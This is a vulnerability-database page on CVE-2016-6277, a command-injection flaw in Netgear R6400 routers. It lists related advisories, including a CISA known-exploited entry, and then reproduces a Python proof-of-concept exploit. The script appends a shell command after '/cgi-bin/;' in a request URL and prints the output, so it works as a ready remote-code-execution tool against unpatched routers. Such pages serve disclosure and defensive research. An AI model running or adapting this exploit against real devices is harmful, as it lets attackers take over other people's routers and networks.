Netgear R6400 - Remote Code Execution

🗓️ 17 Dec 2019 00:00:00Reported by Kevin RandallType

exploitpack👁 51 Views

Netgear R6400 Remote Code Execution, CVE-2016-6277, V1.0.7.2_1.1.9

Reporter	Title	Published	Views	Family All 28
0day.today	Netgear R7000 / R6400 cgi-bin Command Injection Exploit	12 Mar 201700:00	–	zdt
0day.today	Netgear R6400 - Remote Code Execution Exploit	17 Dec 201900:00	–	zdt
ATTACKERKB	CVE-2016-6277	14 Dec 201600:00	–	attackerkb
BDU FSTEC	The vulnerability of the embedded software of NETGEAR routers such as R6250, R6400, R6700, R6900, R7000, R7100LG, R7300DST, R7900, R8000, D6220, D6400, and D7000 lies in the insufficient verification of the authenticity of executed requests. This allows attackers to execute arbitrary commands.	6 Mar 202300:00	–	bdu_fstec
Circl	CVE-2016-6277	7 Dec 201600:00	–	circl
CISA KEV Catalog	NETGEAR Multiple Routers Remote Code Execution Vulnerability	7 Mar 202200:00	–	cisa_kev
CISA	CISA Adds 11 Known Exploited Vulnerabilities to Catalog	7 Mar 202200:00	–	cisa
CNVD	Arbitrary Command Injection Vulnerability in a Variety of Netgear Netgear Routers	9 Dec 201600:00	–	cnvd
Check Point Advisories	Netgear R7000 and R6400 cgi-bin Command Injection (CVE-2016-6277)	23 May 201700:00	–	checkpoint_advisories
CVE	CVE-2016-6277	14 Dec 201616:00	–	cve

# Exploit Title: Netgear R6400 - Remote Code Execution
# Date: 2019-12-14
# Exploit Author: Kevin Randall
# CVE: CVE-2016-6277
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware
# Version: V1.0.7.2_1.1.93

# PoC

#!/usr/bin/python

import urllib2

IP_ADDR = "192.168.1.1"
PROTOCOL = "http://"
DIRECTORY = "/cgi-bin/;"
CMD = "date"
FULL_URL = PROTOCOL + IP_ADDR + DIRECTORY + CMD

req = urllib2.Request(url = FULL_URL)
response = urllib2.urlopen(req)
commandoutput = response.read()
spl_word =  "}"
formattedoutput = commandoutput
result = formattedoutput.rpartition(spl_word)[2]
print result

17 Dec 2019 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.99781